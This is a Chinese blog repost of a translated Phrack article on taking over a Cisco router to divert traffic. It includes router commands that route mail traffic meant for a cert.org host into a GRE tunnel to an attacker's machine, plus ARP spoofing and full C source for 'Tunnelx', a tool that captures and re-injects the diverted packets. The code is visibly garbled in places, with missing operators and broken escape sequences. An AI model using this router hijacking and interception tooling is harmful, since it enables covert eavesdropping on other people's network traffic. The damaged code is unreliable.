当我们完全控制CISCO路由器时能够做的事情

Reflections on Trusting Trust Reflections on Trusting Trust 思考,信任,信托 立即下载

 翻译 by mix ---------------------------------|
|----------------和以前一样,我要申明一下,我不是专业的翻译员-----------------|
|---------所以我也只能够根据我自己的理解,尽量符合原文意思的进行翻译----------|
|------------有能力的朋友最好看原文,我的翻译只能作为一个参考而已-------------|
|------------翻译完后感觉基本上说清楚了这些事情,细节问题就难说了-------------|



- P H R A C K M A G A Z I N E -

Volume 0xa Issue 0x38

0x0a[0x10]


|------------------ 当我们完全控制CISCO路由器时能够做的事情 ------------------|
|-----------------------------------------------------------------------------|
|-------------------------- gauis <gaius@hert.org> ---------------------------|



----| 1. 声明

隧道技术(Tunnelx)是HERT(黑客紧急事件应急小组)努力研究开发的一套技术。他不是为了任何一个攻击者或信息防卫战而做的产品工具。严格的说,这只是作理论上的研究和论证罢了。

如果你是一个未被授权者,你没有权利保留该文的任何拷贝或部分信息。如果在文件传输过程中有任何的错误出现,请发电子邮件到hert@hert.org,我们将马上给与回复。

这份文档中所表达的观点并不是HERT必要的(necessarily)观点。所有主管、官员或是职员都没有任何责任或义务来保证这份文档所述技术的准确性。

----| 2. 介绍

当我们一提到路由器,我觉得像是在超市中看见许许多多的商品,然后我就会忍不住想到疯狂的母牛疾病,狂牛病,GMO... 这使我感觉晕眩。继续查看到cisco.com网站上,显示有多少公司正在使用cisco 7500,并且数以千计机器正通过他来引导路由... 在那些路由器上,存放着很多网络的朴络图,这让我们获得了很多深入渗透的机会。在我对安全失去信心后的很长一段时间中,安全的核心问题就是我们总是信任我们首先已经得到确认的信任关系上。(阅读Ken Thomson的文章,《reflections on trusting trust》,我觉得这个意思简单的说就是:如果我首先已经和某主机建立了信任关系,此后的操作中,我将不会再次检查这台主机传过来的任何信息。)

你是否听到别人这样说过很多次:“嗨,我已经完全控制了这台cisco路由器,如果我有IOS src将更爽...我能够装木马或者做这个做那个。”你曾多少次看到人们因为拥有超级权限密码(enable password)可以做任何事情而感到高兴。对IOS src的改进有所帮助的事,一直很少被人们关心的;最少不会出现在正规bugtraq的读者中。

其实,你并不是一定需要IOS src,所有你需要的事情都在这儿,(在src里只有一点点值得高兴的事情,但是我们将在后面讨论)。当你在路由上面设置好一切的时候,你将获得建立在路由器上的嗅探。


----| 3. 揭开改变路由路径的秘密

你要做的就是改变改变路由的通道,将从目标发送的消息通过路由器发送到其他地方,然后在那里捕捉这个消息,最后将这个消息重新发送给路由器,并且保证这个过程就好像没有发生过一样。正常情况下,典型的路由配置将路由信息的过程可以用下图表示:

Internet ------------ Cisco ------------ Target
外网 Ethernet0 Serial0
Cisco路由器 目标机器


然后我们这样操作:

# telnet cisco
Trying 192.168.1.240...
Connected to 192.168.1.240.
Escape character is '^]'.


User Access Verification

Password:
cisco> enable
Password:
cisco# configure term
Enter configuration commands, one per line. End with CNTL/Z.
cisco(config)# int tunnel0
cisco(config-if)# ip address 192.168.0.1 255.255.255.0
cisco(config-if)# tunnel mode ?
aurp AURP TunnelTalk AppleTalk encapsulation
cayman Cayman TunnelTalk AppleTalk encapsulation
dvmrp DVMRP multicast tunnel
eon EON compatible CLNS tunnel
gre generic route encapsulation protocol
ipip IP over IP encapsulation
nos IP over IP encapsulation (KA9Q/NOS compatible)

cisco(config-if)# tunnel mode gre ip
cisco(config-if)# tunnel source ?
A.B.C.D ip address
BRI ISDN Basic Rate Interface
Dialer Dialer interface
Ethernet IEEE 802.3
Lex Lex interface
Loopback Loopback interface
Null Null interface
Tunnel Tunnel interface
cisco(config-if)# tunnel source Ethernet0/0/0
cisco(config-if)# tunnel destination 192.168.1.1
cisco(config-if)# ^Z
cisco# show interfaces Tunnel0
Tunnel0 is up, line protocol is up
Hardware is Tunnel
Internet address is 192.168.0.1/24
MTU 1500 bytes, BW 9 Kbit, DLY 500000 usec, rely 255/255, load 1/255
Encapsulation TUNNEL, loopback not set, keepalive set (10 sec)
Tunnel source 192.168.1.240 (Ethernet0), destination 192.168.1.1
Tunnel protocol/transport GRE/IP, key disabled, sequencing disabled
Checksumming of packets disabled, fast tunneling enabled
Last input never, output never, output hang never
Last clearing of "show interface" counters never
Input queue: 0/75/0 (size/max/drops); Total output drops: 0
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
0 packets input, 0 bytes, 0 no buffer
Received 0 broadcasts, 0 runts, 0 giants
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
0 packets output, 0 bytes, 0 underruns
0 output errors, 0 collisions, 0 interface resets
0 output buffer failures, 0 output buffers swapped out
cisco#

tcpdump将不会输出任何的结果,除非你在192.168.0.1/24上面尝试着ping其他的IP。你将看到一些用GRE封装的ICMP数据包从192.168.1.1的47端口发过来。

在你的linux窗口中,确定协议(端口)47没有被防火墙阻塞,

test# ipchains -I input -p 47 -j ACCEPT # accept GRE protocol
test# modprobe ip_gre
test# ip tunnel add tunnel0 mode gre remote 192.168.1.240 local
192.168.1.1
test# ifconfig tunnel0 192.168.0.2 netmask 255.255.255.0
test# ping 192.168.0.2
PING 192.168.0.2 (192.168.0.2): 56 data bytes
64 bytes from 192.168.0.2: icmp_seq=0 ttl=255 time=0.3 ms
^C

好了,我们新的路由线路已经搭建完成。这样你就能够看到默认的GRE封装的数据传输。这里没有任何的握手连接,因为我们不是在M$的网络中使用GRE2和愚蠢的PPTP封装。

test# tcpdump -i eth1 host 192.168.1.240 and not port 23
tcpdump: listening on eth1
11:04:44.092895 arp who-has cisco tell private-gw
11:04:44.094498 arp reply cisco is-at 0:6d:ea:db:e:ef
11:04:44.094528 192.168.0.2 > 192.168.0.1: icmp: echo request (gre encap)
11:04:44.097458 192.168.0.1 > 192.168.0.2: icmp: echo reply (gre encap)

这里我们可以看到GRE封装的数据信息是非常详细的,并且cisco路由器的编码器将数据直接送到了linux这里,并没有送到这些数据该去的地方。

让我们到ftp.ee.lbl.gov去看看tcpdump的源代码。tcpdump源代码写得非常的优美;在print-gre.c文件中我们需要稍微的改动一下,用以在隧道技术实施的过程中获得更多的有用信息。


----| 4. 隧道技术 - IOS 线路改变的透明化和数据的捕捉

我初始化设定了一个基于libpcap和libnet的新的CVS tree,一些GRE头文件被tcpdump捕捉,但在短暂的休息后我决定重新整理一下,让整个过程更加简单明了的现实如下:

- 为了避免在我们进行网络欺骗(ETHER_SPOOF)时,不会产生数据风暴,我们在以太网中定义一个空的未使用 的IP地址(原文中称之为REENTRY)。
- 我们初始化设定了一个libpcap和libnet,并建立起数据链路。

- 然后我们写一个程序用来封装数据包头,让这些数据看起来就像是一个匹配GRE协议的IP数据包,并发往隧道 的出口,就像ARP响应数据包一样。

- 我们的ARP剖析器(parser)将分析它是否是来自于REENTRY的响应或者是网络欺骗(ETHER_SPOOF)送出的响 应。

- 我们的GRE剖析器(parser)将调换源数据中的相关信息,比如源IP地址、目的IP地址,并且使用 pcap_dump()记录数据包到磁盘上,然后再使ttl值加1(或更多),最后计算checksum,并使用libnet_write 将数据发送出去。

- OK,就是这样了,不要怀疑如此简单的就能够实现这一切。现在进入一个有趣的阶段,我们不得不重新设置 cisco路由器(定义一个access list用来通过我们所改变的通道的所有数据)。


telnet 192.88.115.98
...

config term
int tunnel0
ip address 192.168.0.1 255.255.255.0
tunnel mode gre ip
tunnel source Ethernet0
tunnel destination TUNNELX_REENTRY_IP
!
access-list 111 permit tcp any host 192.88.209.10 25
!
route-map certisowned
match ip address 111
set ip next-hop 192.168.0.7
!
!
interface Ethernet0
description to cert.org
ip address 192.88.115.98
ip policy route-map certisowned
^Z


如果,你首先将隧道建立好了,现在就可以正常使用了。通我们建立的这个access list,路由链路将不会有任何冲突显现出来。

然而在你修改cisco路由器配置的时候,你要很小心地进行。在你删除access list之前先删除route map(Remove the route map first with 'no route-map certisowned' *before* the access list,这句话我觉得我是没有翻译得完全正确的,所以大家还是看原文比较好),否则会引起数据的死循环。先在小型的cisco 1600 路由器上面实践。同样不要离路由器太远。当我们使用arp欺骗之后,人们能够从并不存在的网络主机上得到响应消息,所以我们要更加小心。

我说过在IOS src里面是有东西值得我们利用的,这就是他们的加密措施。你能够建立起加密了的隧道,使用相同的加密钥匙让出去的信息得到加密,而回送回来的信息可以正常的解密开。隧道技术(Tunnelx)也是可以这样的,你同样需要在pcap数据包头中使用加密机制,并且保证能够在数据传到后进行解密。

OH,当然,我没有解释关于pcap的任何事情,你可以写个小程序从隧道中分析pcap数据格式,注意让这个小程序能够对数据进行GER封装,并且能够为每个连接都生成地记录文件。lseek()这个函数将会是解决这个问题的关键。这篇文章不会发表在普通的bugtraq上,或者管理员拿到时,pcap数据剖析器(parser)将不会包含在内,如果你需要特别版的程序或相关技术支持的话,先寄钱给我(555 他和我要钱)。

----| 5. 问候和结局语

:r !cat greetlist |sort -u |sed -e 's/$/, /'|xargs #hax idlers, acpizer,
akg, antilove (your piggy coding style is great), awr, binf, cb, cisco9,
ee.lbl.gov, f1ex, gamma, ice, jarvis, joey, kil3r, klog, meta, minus, nises,
octa, plaguez, plasmoid, route (thx 4 libnet), scalp, scuzzy, shok, swr,
teso crew, the owl, tmoggie, ultor, wilkins, ze others i forgot,(不知道在说什么,555)

我一直喜欢在高版本的路由软件下工作,这样才能够使我的路由欺骗劫持计划更容易实现,甚至让我感觉是在打猎时对猎物进行追踪... 不要忘记了你是在路由器上面工作,你能够做任何事情,因为所有人都默认信任你的一切:)。


----| 6. 程序代码

//我自己还没来得及编译,我虚拟机下的linux被我玩坏了~~~呵呵
<++> p56/Tunnelx/tunnelx.c !0d503a37
// Tunnelx is part of the research and development effort
// conducted by HERT. These are not production tools for either attack or
// defense within an information warfare setting. Rather, they are small
// modifications demonstrating proof of concept.
// comments and crap to gaius@hert.org

// to compile on solaris: (i used libnet-0.99g)
// gcc -O2 -I. -DLIBNET_BIG_ENDIAN -Wall -c tunnelx.c
// gcc -O2 tunnelx.o -o tunnelx -lsocket -lnsl libpcap.a libnet.a
// on linux:
// gcc -O2 -I. `libnet-config --defines` -c tunnelx.c
// gcc -O2 tunnelx.o -o tunnelx libpcap.a libnet.a

#if (HAVE_CONFIG_H)
#include "config.h"
#endif
#include <libnet.h>
#include <pcap.h>

#define IP_UCHAR_COMP(x, y) /
(x[0] == y[0] && x[1] == y[1] && x[2] == y[2] && x[3] == y[3])

#define GRE_CP 0x8000 /* Checksum Present */
#define GRE_RP 0x4000 /* Routing Present */
#define GRE_KP 0x2000 /* Key Present */
#define GRE_SP 0x1000 /* Sequence Present */
#define GRE_SIZE (20)
#define GREPROTO_IP 0x0800
#define EXTRACT_16BITS(p) /
((u_short)ntohs(*(u_short *)(p)))

const u_char *packetp;
const u_char *snapend;

#define SNAPLEN 8192
#define TUNNELX_REENTRY "192.168.1.1"
char out[] = "core";
u_long ip_spoof;
u_char ether_spoof[6] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF};

struct gre_hdr
{
u_short flags;
u_short proto;
union
{
struct gre_ckof
{
u_short cksum;
u_short offset;
}
gre_ckof;
u_long key;
u_long seq;
}
gre_void1;
union
{
u_long key;
u_long seq;
u_long routing;
}
gre_void2;
union
{
u_long seq;
u_long routing;
}
gre_void3;
union
{
u_long routing;
}
gre_void4;
};

struct link_int *li;
char default_dev[] = "le0";
char *device = NULL;

void pcap_print (u_char * user, const struct pcap_pkthdr *h,
const u_char * p);
char errbuf[256];

int
main (int argc, char *argv[])
{
int cnt, c, ret, snaplen;
bpf_u_int32 localnet, netmask;
char ebuf[PCAP_ERRBUF_SIZE];
char pcapexp[50];
pcap_t *pd;
struct bpf_program fcode;
pcap_handler printer;
u_char *pcap_userdata;

snaplen = SNAPLEN;
printer = pcap_print;

while ((c = getopt (argc, argv, "i:")) != EOF)
{
switch (c)
{
case 'i':
device = optarg;
break;
default:
exit (EXIT_FAILURE);
}
}

//inet_aton (TUNNELX_REENTRY, /_spoof);
ip_spoof = libnet_name_resolve(TUNNELX_REENTRY, 0);
device = default_dev;
if (!device)
{
fprintf (stderr, "Specify a device/n");
exit (EXIT_FAILURE);
}

li = libnet_open_link_interface (device, errbuf);
if (!li)
{
fprintf (stderr, "libnet_open_link_interface: %s/n", errbuf);
exit (EXIT_FAILURE);
}
if (device == NULL)
device = pcap_lookupdev (ebuf);
if (device == NULL)
printf ("%s", ebuf);

pd = pcap_open_live (device, snaplen, 1, 500, errbuf);
if (pd == NULL)
{
fprintf (stderr, "pcap_open_live: %s/n", errbuf);
return (-1);
}
if (pd == NULL)
printf ("%s", ebuf);
ret = pcap_snapshot (pd);
if (snaplen < ret)
{
printf ("Snaplen raised from %d to %d/n", snaplen, ret);
snaplen = ret;
}
if (pcap_lookupnet (device, , , ebuf) < 0)
{
localnet = 0;
netmask = 0;
}
sprintf(pcapexp, "arp or (host %s and proto 47)", TUNNELX_REENTRY);
if (pcap_compile (pd,
,
pcapexp,
1, netmask) < 0)
printf ("%s", pcap_geterr (pd));

if (pcap_setfilter (pd, ) < 0)
printf ("%s", pcap_geterr (pd));
if (out)
{
pcap_dumper_t *p = pcap_dump_open (pd, out);
pcap_userdata = (u_char *) p;
}

if (pcap_loop (pd, cnt, printer, pcap_userdata) < 0)
{
(void) fprintf (stderr, "pcap_loop: %s/n", pcap_geterr (pd));
exit (1);
}
pcap_close (pd);
exit (0);
}

void
pcap_print (u_char * user, const struct pcap_pkthdr *h, const u_char * p)
{
register struct libnet_ethernet_hdr *eh;
register struct gre_hdr *gh;
register struct libnet_ip_hdr *ih;
register struct libnet_arp_hdr *ah;
register char *dst, *src;
register u_int ih_length, payload_length, off;
u_int length = h->len;
u_int caplen = h->caplen;
u_short proto;
struct ether_addr tmp_ea;

packetp = p;
snapend = p + caplen;

eh = (struct libnet_ethernet_hdr *) p;
p += sizeof (struct libnet_ethernet_hdr);
caplen -= sizeof (struct libnet_ethernet_hdr);
length -= sizeof (struct libnet_ethernet_hdr);

switch (ntohs (eh->ether_type))
{
case ETHERTYPE_IP:
ih = (struct libnet_ip_hdr *) p;
ih_length = ih->ip_hl * 4;
payload_length = ntohs (ih->ip_len);
payload_length -= ih_length;
off = ntohs (ih->ip_off);
if ((off & 0x1fff) == 0)
{
p = (u_char *) ih + ih_length;
src = strdup (inet_ntoa (ih->ip_src));
dst = strdup (inet_ntoa (ih->ip_dst));
switch (ih->ip_p)
{
#ifndef IPPROTO_GRE
#define IPPROTO_GRE 47
#endif
case IPPROTO_GRE:
gh = (struct gre_hdr *) p;
p += 4;
if (memcmp (>ip_dst, _spoof, 4) == 0)
{
// reverse GRE source and destination
memcpy (tmp_ea.ether_addr_octet, >ip_src, 4);
memcpy (>ip_src, >ip_dst, 4);
memcpy (>ip_dst, tmp_ea.ether_addr_octet, 4);
// ih->ip_id++;
// reverse Ether source and destination
memcpy (tmp_ea.ether_addr_octet, eh->ether_shost, ETHER_ADDR_LEN);
memcpy (eh->ether_shost, eh->ether_dhost, ETHER_ADDR_LEN);
memcpy (eh->ether_dhost, tmp_ea.ether_addr_octet, ETHER_ADDR_LEN);
// dope the ttl up
ih->ip_ttl = 64;
if (libnet_do_checksum ((u_char *) ih, IPPROTO_IP, ih_length) == -1)
return;

if (libnet_write_link_layer (li, device, (u_char *) eh,
payload_length + ih_length + sizeof (struct libnet_ethernet_hdr))
== -1)
return;
pcap_dump (user, h, packetp);
}
proto = EXTRACT_16BITS (>proto);
break;
default:
return;
}
}
break;
case ETHERTYPE_ARP:
// process arp
ah = (struct libnet_arp_hdr *) p;
if (EXTRACT_16BITS (>ar_op) != ARPOP_REQUEST)
{
return;
}
if (memcmp (ah->ar_tpa, _spoof, 4) != 0)
return;
// swap ip source and address i use ar_tha as a temporary place holder
memcpy (ah->ar_tha, ah->ar_spa, 4);
memcpy (ah->ar_spa, ah->ar_tpa, 4);
memcpy (ah->ar_tpa, ah->ar_tha, 4);
// move ether addr source to both destination
memcpy (eh->ether_dhost, eh->ether_shost, ETHER_ADDR_LEN);
memcpy (ah->ar_tha, eh->ether_shost, ETHER_ADDR_LEN);
// copy fake ether addr to both source
memcpy (eh->ether_shost, ether_spoof, ETHER_ADDR_LEN);
memcpy (ah->ar_sha, ether_spoof, ETHER_ADDR_LEN);
// set arp op code to reply
ah->ar_op = htons (2);
if (libnet_write_link_layer (li, device, (u_char *) eh,
ARP_H + ETH_H) == -1)
return;
break;
}
}
<-->

|EOF|-------------------------------------------------------------------------|

Linksys RE4000W_v1.0.01.001_20180321无线中继固件 May 11, 2018 This document contains the licenses and notices for open source software used in RE4000W v1.0.01.001 . With respect to the free/open source software listed in this document, if you have any questions or wish to receive a copy of the source code to which you are entitled under the applic 立即下载

相关推荐

cisco asa设备逆向调试分析辅助工具

cisco asa设备逆向调试分析辅助工具,可自由定制,配合GNS3使用更佳。

Reflections on Trusting Trust(关于托付信任的思考)

一个人应该在何种程度上相信宣称一个程序不包含木马的陈述呢?或许更重要的是信任编写软件的人。 To what extent should one trust a statement that a program is free of Trojan horses? Perhaps it is more important to trust the people who wrote the software.

m0_51418771的博客 559

学习笔记( 11 ) - 解决:finalshell连接虚拟机(ubuntu)超时,主机ping不通虚拟机,主机没有VMnet8网卡, Connection refused: connect

解决:finalshell连接虚拟机(ubuntu)超时,主机ping不通虚拟机,主机没有VMnet8网卡, Connection refused: connect

烟溪彭于晏的博客 2万+

Reflections on Trusting Trust(对托付信任的反思)文章翻译

对托付信任的反思(Reflections on Trusting Trust) 一个人应该在何种程度上相信宣称一个程序不包含木马的陈述呢?或许更重要的是信任编写软件的人。 原文作者:肯·汤普森(KEN THOMPSON) 原文参见:https://www.ece.cmu.edu/~ganger/712.fall02/papers/p761-thompson.pdf 野狼匹 译 本文是肯·汤普森...

r42135d1r2r4的博客 2469

Python Selenium调用IE11报错全解析:从环境配置到稳定运行

在Web自动化测试领域,Selenium作为主流的跨浏览器测试框架,其核心原理是通过WebDriver协议与不同浏览器的驱动程序进行通信,实现对浏览器行为的模拟与控制。这一技术为软件测试的自动化、回归测试的效率提升提供了重要价值,广泛应用于金融、政务等对遗留系统兼容性要求高的行业场景。然而,当技术栈涉及过时的浏览器如IE11时,环境配置的复杂性显著增加,特别是Python与Selenium的组合常遭遇驱动兼容性、安全设置等挑战。本文聚焦于解决Python Selenium驱动IE11时的典型报错问题,深入剖

weixin_28834765的博客 324

Coding Plan:程序员真实工作的可执行编码决策框架

Coding Plan 是一种面向工程实践的编码决策方法论,它超越传统学习路径,聚焦于代码在真实业务系统中的上下文对齐、影响控制与可演进性保障。其核心在于将模糊的开发直觉转化为可度量、可验证、可协作的日常动作,涵盖目标对齐、上下文锁定、验证闭环、协作契约和演进预留五大锚点。结合2026年AI辅助编码新范式,它强调将大模型作为‘上下文翻译器’而非代码生成器,并通过分钟级工作块、技术债主动发行、可观测性前置等机制,显著提升交付确定性与系统长期健康度。本文详解该框架的底层逻辑与落地实践。

weixin_33326218的博客 439

LWN: 自举编译(bootstrappable builds)!

关注了就能看到更多这么棒的文章哦~Bootstrappable buildsBy Jake EdgeJanuary 6, 2021DeepL assisted translationht...

Linux News搬运工 430

ThingsBoard3.9.1规则引擎方式发送钉钉通知消息

thingsboard3.9.1/4.0规则链方式发送钉钉通知消息。

hssjf的专栏 531

在Cisco路由器使用CAR控制流量

承诺访问速率(CAR,Committed access rate),或者叫做“速率限制”是一种管理网络上额外流量的方法,以保证这些流量不会影响重要的通信流量。举例来说,如果有人在从网站上进行大量的网页 下载时,他(她)的行为可能会导致真正重要的网络流量无法通行,因此很有可能会造成生产用服务器在网络上难以访问。下面我们就来讨论一下如何使用CAR来 阻止这种事情的发生。你仅可以对IP通信使用CAR

技术 交流 1811

【信息系统项目管理师】第1章:信息化发展 考点梳理

本文主要详细梳理高项:信息化、新型基础设施建设、两化融合、数字中国、数字化转型与元宇宙等内容。

数据知道的博客 8591

Linux内核驱动模型--PCIe(PCI Express)驱动​​

本文系统介绍了Linux内核中PCIe驱动的设计与实现。首先从架构定位入手,指出PCIe驱动基于PCI子系统扩展支持高速、低功耗特性。核心数据结构struct pci_driver包含设备匹配表id_table、生命周期函数probe/remove等关键组件。文章详细解析了驱动与设备的绑定流程、资源管理机制,并重点阐述了MSI-X中断、电源管理、热插拔和多队列等高级特性实现方案。最后提供了lspci、dmesg等调试工具的使用方法,总结了PCIe驱动在支持高性能设备中的关键作用。全文通过架构设计、核心结构、

amy_mhd的博客 428

Cisco Packet Tracer 思科模拟器中路由器的DHCP配置

本篇文章主要讲解了思科路由器DHCP如何配置使电脑自动获取地址的方法,每个步骤都有详细的说明解析,望能帮助到屏幕前的你。

Cisco Packet Tracer 思科模拟器知识分享 6001

锐捷-GZ073 网络系统管理赛项赛题第1套A模块-S5配置

锐捷-GZ073 网络系统管理赛项赛题第1套A模块-S5配置

weixin_46183247的博客 767

CISCO 模拟器 Dynamips 使用说明

安装 需要安装两个工具: https://github.com/GNS3/dynamips https://sourceforge.net/projects/dyna-gen/files/ 安装比较简单,都是常见的开源工具套路,进入源码目录: mkdir build cd build cmake .. make 然后就是准备CISCO IOS文件, 可以在这里下载:http://tfr.org/cisc...

rclijia的专栏 3494

[DDR5] 模式寄存器 Mode Register MRR/MRW

模式寄存器用于定义各种操作模式。在初始化过程中,可以通过重新执行MRS命令来更改模式寄存器的内容。

串起点滴 1639

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

Cisco路由器入侵

奔流不息的网络里,Web绽放着绚丽的色彩、电子邮件呼哧的穿梭网际、语音电话、网络会议、文件传输,各种数据交织错落,形成辉煌的数字世界。在喧闹的数字世界底层,存在一种精致的次序,这种次序决定着数据的选路、异构介质衔接、协议的交互等功能。而这一次序的缔造者正是布满整个网络的路由器。于

收集盒 Book box 1255

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

*** Cisco路由器

*IOS自身欺骗 Cisco路由器是用IOS系统来实现路由的细节功能,因此它是路由系统的灵魂。Show命令的在线系统方式却为我们打开一个偷窥之门。 众所周知,Cisco路由器中,一般用户只能查看路由器的很少信息。而能进入特权模式的用户才有资格查看全部信息和修改路由。一般模式下,show的在线帮助系统不会列表所有可用的命令,虽然75个show的扩展参数只能用于特权模式下(e...

weixin_34294649的博客 344

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

Cisco路由入侵艺术

创建时间:2003-04-11文章属性:原创文章提交:meteorstary (meteorstary_at_163.com)Cisco路由入侵艺术作者:紫天星 时间:2002-1-21 奔流不息的网络里,Web绽放着绚丽的色彩、电子邮件呼哧的穿梭网际、语音电话、网络会议、文件传输,各种数据交织错落,形成辉煌的数字世界。在喧闹的数字世界底层,存在一种精致的次序,这种次序决定着数据的选路、异构介质衔

FreeXploiT 1851

通过路由器实现用户定时访问网络

用路由器实现用户定时访问网络 一、前言 我们知道,随着网络的发展和用户要求的变化,从Cisco IOS12.0 开始,CISCO 路由器新增加了一种基于时间的访问列表。通过它,可以根据一天中的不同时间,或者根据一星期中的不同日期,当然也可以二者结合起来,控制对网络数据包的转发,实现对网络的安全保护。 二、使用方法 这种基于时间的访问列表就是在原来的标准访问列...

289

CISCO有自己的3层层次模型

如果大家看过了CCNA之类的书就会知道:CISCO有自己的3层层次模型 1,接入层 2分配层 3,核心层    接入层有时也称桌面层,是控制用户和工作组对互联网络资源的访问的。大多数的用户所需要的资源在本地就可以得到,分配层的设备才处理远程服务的数据流。接入层的功能有:连续的访问控制和策略(对分配层的延续),创建分隔的冲突域,确保工作组到分配层的连通性。接入层经常采用的技术有DDR,以太网。    分配层也称工作组层,是上下2层之间的通信点,这一层的功能主要是实现一下一些策略:1路由(即文件在网络中传输的最

软件开发大神 6702

思科路由器发现重大漏洞,解决方法是……

晚上好,我是老杨。思科知名度高,待遇也好,很多网工心生向往,也有很多人考过思科认证的相关证书,对思科的印象还是不错吧?而且,作为美国著名的网络设备厂商,思科是全球路由器巨头,很多企业使用的关键路由器都离不开思科系列产品。毕竟好用,还有知名度,用起来,工作高效便捷不说,客户也更有信任感,何乐而不为?但是在上个月,思科官方发现旗下路由器产品出现严重技术漏洞,引发了不小的关注。具体发生了啥,今儿和你说道说道。今日文章阅读福利:《 cisco路由器配置(实战篇) 》

1276
上一篇: Black Hat上演示破解SSL会话截获密码
下一篇: ProbeBypass攻击技术
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值